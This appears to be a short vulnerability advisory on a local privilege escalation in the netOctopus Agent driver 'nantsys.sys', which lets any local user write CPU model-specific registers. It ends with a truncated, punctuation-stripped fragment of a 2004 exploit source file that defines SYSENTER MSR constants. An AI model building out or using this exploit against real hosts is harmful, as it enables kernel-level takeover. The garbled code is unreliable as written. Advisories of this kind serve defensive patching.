netOctopus Agent nantsys.sys MSR Write Local Privilege Escalation

netOctopus Agent, an asset management agent, is installed on the remote host. The installed version of netOctopus Agent includes a driver, named 'nantsys.sys', that exposes a device interface writable by all local users, allowing them to read and write arbitrary CPU Model Specific Registers MSRs....

xploit_dbg.cpp.txt

/ Discovered and coded Jan 25, 2004 Copyright C2004 [email protected] / include include typedef int NTSTATUS; define NTAPI stdcall const IA32SYSENTERCS = 0x174; const IA32SYSENTERESP = 0x175; const IA32SYSENTEREIP = 0x176; const SelCodeKernel = 0x8; const CmosIndx = 0x0E; // CMOS Diagnostic...